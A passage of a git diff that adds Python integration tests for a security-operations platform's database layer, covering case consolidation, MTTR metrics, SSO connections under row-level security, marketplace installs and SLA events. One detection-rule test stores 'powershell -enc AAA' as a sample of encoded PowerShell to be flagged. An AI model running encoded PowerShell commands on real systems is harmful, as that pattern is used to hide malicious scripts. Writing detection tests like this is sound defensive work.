INTO tenants (id, name, slug) VALUES ($1,'w1','w1-cases') ON CONFLICT DO NOTHING",+ TENANT,+ )+ yield connection+ finally:+ await connection.close()+++async def _close_a_case(conn, *, minutes: int) -> uuid.UUID: # noqa: ANN001+ """Write a closed case exactly as the console would."""+ case_id = uuid.uuid4()+ created = datetime.now(UTC) - timedelta(minutes=minutes)+ await conn.execute(+ "INSERT INTO aisoc_cases (id, tenant_id, case_number, title, severity, status, created_at, closed_at) "+ "VALUES ($1,$2,$3,'console case','high','closed',$4,$5)",+ case_id,+ TENANT,+ f"CASE-{case_id.hex[:8]}",+ created,+ created + timedelta(minutes=minutes),+ )+ return case_id+++class TestThereIsOneCaseTable:+ async def test_the_retired_table_is_gone(self, conn) -> None: # noqa: ANN001+ """`cases` no longer exists under that name, and reading it now+ fails loudly.++ A read-only view was tried and withdrawn: every historical+ migration doing `ALTER TABLE` or `CREATE INDEX` on `cases` fails+ on re-run against a view, and guarding each of them would+ scatter one decision through the whole migration history.++ Erroring is the better outcome anyway. External SQL against+ `cases` now fails with "relation does not exist" rather than+ quietly returning the pre-consolidation rows.+ """+ assert await conn.fetchval("SELECT to_regclass('public.cases') IS NULL"), (+ "`cases` still exists, so a query naming it reads a second set of rows"+ )++ async def test_the_pre_consolidation_rows_are_kept(self, conn) -> None: # noqa: ANN001+ """Renamed, not dropped. A consolidation that lost a row nobody+ noticed is worse than two tables."""+ assert await conn.fetchval("SELECT to_regclass('public.cases_pre_consolidation') IS NOT NULL")++ async def test_child_tables_reference_the_surviving_parent(self, conn) -> None: # noqa: ANN001+ """`case_tasks` and `case_timeline_events` both declared+ `REFERENCES cases(id)`. Repointing the ORM without repointing+ these left SQLAlchemy unable to resolve `Case.tasks` at+ mapper-configuration time, which took down every request that+ touched any model — 257 tests at once."""+ orphaned = await conn.fetchval(+ """+ SELECT count(*)+ FROM information_schema.table_constraints tc+ JOIN information_schema.constraint_column_usage ccu+ ON tc.constraint_name = ccu.constraint_name+ WHERE tc.constraint_type = 'FOREIGN KEY'+ AND ccu.table_name = 'cases_pre_consolidation'+ """+ )+ assert orphaned == 0, f"{orphaned} foreign keys still point at the retired table"+++class TestConsoleCasesReachTheMetrics:+ async def test_mttr_counts_a_case_the_console_created(self, conn) -> None: # noqa: ANN001+ """The defect, stated as a test. This query is+ `resolution_time.MTTR_MINUTES_EXPR` verbatim; before the+ consolidation it ran against `cases` and could not see this row."""+ await _close_a_case(conn, minutes=90)++ mttr = await conn.fetchval(+ """+ SELECT round((avg(EXTRACT(EPOCH FROM (closed_at - created_at))) / 60.0)::numeric, 1)::float8+ FROM aisoc_cases+ WHERE tenant_id = $1 AND closed_at IS NOT NULL AND closed_at >= created_at+ """,+ TENANT,+ )+ assert mttr is not None, "MTTR is null for a tenant that has closed a case"+ assert mttr > 0++ async def test_mttr_is_null_rather_than_zero_for_a_tenant_with_nothing_closed(self, conn) -> None: # noqa: ANN001+ """The negative control, and a correctness claim of its own: an+ average over zero rows must not publish as 0.0 minutes."""+ empty_tenant = uuid.uuid4()+ await conn.execute(+ "INSERT INTO tenants (id, name, slug) VALUES ($1,$2,$3) ON CONFLICT DO NOTHING",+ empty_tenant,+ f"w1-{empty_tenant.hex[:8]}",+ f"w1-{empty_tenant.hex[:8]}",+ )+ mttr = await conn.fetchval(+ """+ SELECT round((avg(EXTRACT(EPOCH FROM (closed_at - created_at))) / 60.0)::numeric, 1)::float8+ FROM aisoc_cases+ WHERE tenant_id = $1 AND closed_at IS NOT NULL AND closed_at >= created_at+ """,+ empty_tenant,+ )+ assert mttr is None+++class TestOneStatusVocabulary:+ async def test_the_console_states_are_storable(self, conn) -> None: # noqa: ANN001+ for status in ("new", "triaged", "investigating", "contained", "resolved", "closed"):+ case_id = uuid.uuid4()+ await conn.execute(+ "INSERT INTO aisoc_cases (id, tenant_id, case_number, title, severity, status) VALUES ($1,$2,$3,'vocab','low',$4)",+ case_id,+ TENANT,+ f"CASE-{case_id.hex[:8]}",+ status,+ )++ async def test_resolved_is_not_counted_as_closed(self, conn) -> None: # noqa: ANN001+ """`resolved` looks terminal and is not — a case moves+ `resolved → closed`, and only that last transition writes+ `closed_at`. Counting "closed this week" as `status = 'resolved'`+ counts cases still on a queue and misses every one that finished.+ """+ case_id = uuid.uuid4()+ await conn.execute(+ "INSERT INTO aisoc_cases (id, tenant_id, case_number, title, severity, status) "+ "VALUES ($1,$2,$3,'still open','high','resolved')",+ case_id,+ TENANT,+ f"CASE-{case_id.hex[:8]}",+ )+ counted = await conn.fetchval(+ "SELECT count(*) FROM aisoc_cases WHERE id = $1 AND status = 'closed' AND closed_at IS NOT NULL",+ case_id,+ )+ assert counted == 0diff --git a/tests/isolation/test_wave0_integrity_live.py b/tests/isolation/test_wave0_integrity_live.pynew file mode 100644index 000000000..138bb44f8--- /dev/null+++ b/tests/isolation/test_wave0_integrity_live.py@@ -0,0 +1,268 @@+"""The Wave 0 no-writer defects, measured against real Postgres.++Each of these covers a mechanism that was complete, tested and+unreachable because the table or column it depended on had no writer.+Unit tests could not see any of them: the code was correct, and the data+it needed never arrived.++The suite is deliberately shaped around *reachability* rather than+behaviour. The question for each is "can this now happen at all", which+is the question the unit tests were silently answering yes to.+"""++from __future__ import annotations++import json+import os+import uuid+from datetime import UTC, datetime, timedelta++import pytest+import pytest_asyncio++pytestmark = [+ pytest.mark.asyncio(loop_scope="module"),+ pytest.mark.skipif(+ not os.environ.get("ISOLATION_WAVE0_DSN", "").strip(),+ reason="ISOLATION_WAVE0_DSN is not set; this suite needs a live Postgres",+ ),+]++TENANT = uuid.UUID("aaaa0000-0000-0000-0000-00000000aaaa")+OTHER_TENANT = uuid.UUID("bbbb0000-0000-0000-0000-00000000bbbb")+++def _dsn() -> str:+ return os.environ["ISOLATION_WAVE0_DSN"]+++def _pg_dsn() -> str:+ return _dsn().replace("postgresql+asyncpg://", "postgresql://")+++async def _bind_tenant(connection, tenant) -> None: # noqa: ANN001+ """Bind the session to a tenant, as every real request does.++ `aisoc_sso_connections` carries `WITH CHECK (tenant_id =+ current_tenant_id())`, so an unbound session cannot insert. This+ suite passed locally against a superuser — who bypasses RLS entirely+ — and failed in CI, where the job connects as the DML-only+ `aisoc_app` role. The local database was the more permissive test+ double, which is the same failure shape as an over-capable mock.+ """+ await connection.execute("SELECT set_config('app.current_tenant_id', $1, false)", str(tenant))+++@pytest_asyncio.fixture(scope="module", loop_scope="module")+async def conn():+ asyncpg = pytest.importorskip("asyncpg")+ connection = await asyncpg.connect(_pg_dsn())+ try:+ for tenant in (TENANT, OTHER_TENANT):+ await connection.execute(+ "INSERT INTO tenants (id, name, slug) VALUES ($1,$2,$3) ON CONFLICT DO NOTHING",+ tenant,+ f"w0-{tenant.hex[:8]}",+ f"w0-{tenant.hex[:8]}",+ )+ yield connection+ finally:+ await connection.close()+++class TestSsoConnectionsCanExist:+ """`aisoc_sso_connections` had no writer anywhere, so+ `resolve_connection` found nothing on every sign-in and both SAML and+ OIDC answered 403. The table was unreachable, not merely unused."""++ async def test_a_connection_can_be_written_and_resolved(self, conn) -> None: # noqa: ANN001+ issuer = f"https://idp.example.com/{uuid.uuid4().hex[:8]}"+ await _bind_tenant(conn, TENANT)+ await conn.execute(+ "INSERT INTO aisoc_sso_connections "+ "(tenant_id, provider, issuer, display_name, enabled, group_role_mapping, default_role) "+ "VALUES ($1,'oidc',$2,'Example IdP',TRUE,$3::jsonb,'viewer')",+ TENANT,+ issuer,+ json.dumps({"soc-team": "soc_analyst"}),+ )++ row = await conn.fetchrow(+ "SELECT tenant_id, group_role_mapping, default_role, enabled "+ " FROM aisoc_sso_connections WHERE provider='oidc' AND issuer=$1 AND enabled=TRUE",+ issuer,+ )+ assert row is not None, "the exact query sso_provisioning runs found nothing"+ assert row["tenant_id"] == TENANT+ assert json.loads(row["group_role_mapping"])["soc-team"] == "soc_analyst"++ async def test_two_tenants_cannot_claim_one_issuer(self, conn) -> None: # noqa: ANN001+ """The unique index is the control that stops an assertion being+ ambiguous about which tenant it provisions into."""+ asyncpg = pytest.importorskip("asyncpg")+ issuer = f"https://idp.example.com/{uuid.uuid4().hex[:8]}"+ await _bind_tenant(conn, TENANT)+ await conn.execute(+ "INSERT INTO aisoc_sso_connections (tenant_id, provider, issuer) VALUES ($1,'saml',$2)",+ TENANT,+ issuer,+ )+ # The second tenant binds to itself, so the refusal below is the+ # unique index rather than RLS.+ await _bind_tenant(conn, OTHER_TENANT)+ with pytest.raises(asyncpg.UniqueViolationError):+ await conn.execute(+ "INSERT INTO aisoc_sso_connections (tenant_id, provider, issuer) VALUES ($1,'saml',$2)",+ OTHER_TENANT,+ issuer,+ )+ await _bind_tenant(conn, TENANT)++ async def test_a_disabled_connection_does_not_resolve(self, conn) -> None: # noqa: ANN001+ """So an administrator can stage one before turning it on."""+ issuer = f"https://idp.example.com/{uuid.uuid4().hex[:8]}"+ await conn.execute(+ "INSERT INTO aisoc_sso_connections (tenant_id, provider, issuer, enabled) VALUES ($1,'oidc',$2,FALSE)",+ TENANT,+ issuer,+ )+ row = await conn.fetchrow(+ "SELECT 1 FROM aisoc_sso_connections WHERE provider='oidc' AND issuer=$1 AND enabled=TRUE",+ issuer,+ )+ assert row is None+++class TestProposalsCarryTheirOwnProof:+ """`/decide` refuses an approval without a `candidate_rule` verdict,+ and `/evaluate-rule` is the only writer of it — but fixtures were+ never stored, so an operator had nothing to send. The proposal could+ not prove itself and therefore could never be approved."""++ async def test_fixtures_round_trip(self, conn) -> None: # noqa: ANN001+ proposal_id = uuid.uuid4()+ positives = [{"event_type": "process", "command_line": "powershell -enc AAA"}]+ negatives = [{"event_type": "process", "command_line": "notepad.exe"}]+ await conn.execute(+ "INSERT INTO detection_rule_proposals "+ "(id, tenant_id, name, rule_language, rule_body, category, positive_fixtures, negative_fixtures) "+ "VALUES ($1,$2,'enc powershell','sigma','detection: {}','endpoint',$3::jsonb,$4::jsonb)",+ proposal_id,+ TENANT,+ json.dumps(positives),+ json.dumps(negatives),+ )+ row = await conn.fetchrow(+ "SELECT positive_fixtures, negative_fixtures FROM detection_rule_proposals WHERE id=$1",+ proposal_id,+ )+ assert json.loads(row["positive_fixtures"]) == positives+ assert json.loads(row["negative_fixtures"]) == negatives++ async def test_the_default_is_an_empty_list_not_null(self, conn) -> None: # noqa: ANN001+ """An existing proposal predates the column. `[]` means "claims+ nothing"; NULL would make every reader handle a third state."""+ proposal_id = uuid.uuid4()+ await conn.execute(+ "INSERT INTO detection_rule_proposals (id, tenant_id, name, rule_language, rule_body, category) "+ "VALUES ($1,$2,'legacy','sigma','detection: {}','endpoint')",+ proposal_id,+ TENANT,+ )+ row = await conn.fetchrow(+ "SELECT positive_fixtures, negative_fixtures FROM detection_rule_proposals WHERE id=$1",+ proposal_id,+ )+ assert json.loads(row["positive_fixtures"]) == []+ assert json.loads(row["negative_fixtures"]) == []+++class TestMarketplaceInstallsSurviveARestart:+ """Install state was a process dict, so it was lost on restart and+ disagreed between replicas: install, refresh, told it is not+ installed, install again."""++ async def test_an_install_persists(self, conn) -> None: # noqa: ANN001+ item = f"det-{uuid.uuid4().hex[:8]}"+ await conn.execute(+ "INSERT INTO marketplace_installs (tenant_id, item_id, item_type, version) VALUES ($1,$2,'detection','1.0.0')",+ TENANT,+ item,+ )+ assert await conn.fetchval("SELECT count(*) FROM marketplace_installs WHERE tenant_id=$1 AND item_id=$2", TENANT, item) == 1++ async def test_reinstalling_does_not_duplicate(self, conn) -> None: # noqa: ANN001+ """`UNIQUE (tenant_id, item_id)` plus ON CONFLICT is what makes a+ double-click across two replicas safe, which the lock around a+ process dict stopped guaranteeing the moment there were two."""+ item = f"det-{uuid.uuid4().hex[:8]}"+ for version in ("1.0.0", "1.1.0"):+ await conn.execute(+ "INSERT INTO marketplace_installs (tenant_id, item_id, item_type, version) "+ "VALUES ($1,$2,'detection',$3) "+ "ON CONFLICT (tenant_id, item_id) DO UPDATE SET version = EXCLUDED.version",+ TENANT,+ item,+ version,+ )+ rows = await conn.fetch("SELECT version FROM marketplace_installs WHERE tenant_id=$1 AND item_id=$2", TENANT, item)+ assert len(rows) == 1+ assert rows[0]["version"] == "1.1.0"++ async def test_one_tenants_installs_are_not_anothers(self, conn) -> None: # noqa: ANN001+ item = f"det-{uuid.uuid4().hex[:8]}"+ await conn.execute(+ "INSERT INTO marketplace_installs (tenant_id, item_id, item_type) VALUES ($1,$2,'detection')",+ TENANT,+ item,+ )+ assert (+ await conn.fetchval(+ "SELECT count(*) FROM marketplace_installs WHERE tenant_id=$1 AND item_id=$2",+ OTHER_TENANT,+ item,+ )+ == 0+ )+++class TestSlaEventsHaveSomethingToAggregate:+ """`alert_sla_events` had one writer: a manual POST nothing calls. So+ `services/api/app/services/sla.py` computed MTTD, MTTR and MTTC over an empty table on+ every deployment — correct arithmetic with no data."""++ async def test_a_detected_acknowledged_pair_yields_an_mttd(self, conn) -> None: # noqa: ANN001+ alert_id = uuid.uuid4()+ detected = datetime.now(UTC) - timedelta(hours=2)+ acknowledged = detected + timedelta(minutes=30)+ for event_type, at in (("detected", detected), ("acknowledged", acknowledged)):+ await conn.execute(+ "INSERT INTO alert_sla_events (tenant_id, alert_id, severity, event_type, occurred_at) VALUES ($1,$2,'high',$3,$4)",+ TENANT,+ alert_id,+ event_type,+ at,+ )++ minutes = await conn.fetchval(+ """+ SELECT EXTRACT(EPOCH FROM (ack.occurred_at - det.occurred_at)) / 60+ FROM alert_sla_events det+ JOIN alert_sla_events ack+ ON ack.alert_id = det.alert_id AND ack.event_type = 'acknowledged'+ WHERE det.alert_id = $1 AND det.event_type = 'detected'+ """,+ alert_id,+ )+ assert minutes == pytest.approx(30.0, abs=0.5)++ async def test_the_event_type_vocabulary_is_enforced(self, conn) -> None: # noqa: ANN001+ """A typo'd verb would store and then never match an aggregation,+ which is the quiet-failure shape this wave exists to remove."""+ asyncpg = pytest.importorskip("asyncpg")+ with pytest.raises(asyncpg.CheckViolationError):+ await conn.execute(+ "INSERT INTO alert_sla_events (tenant_id, alert_id, severity, event_type) VALUES ($1,$2,'high','acknowleged')",+ TENANT,+ uuid.uuid4(),+ )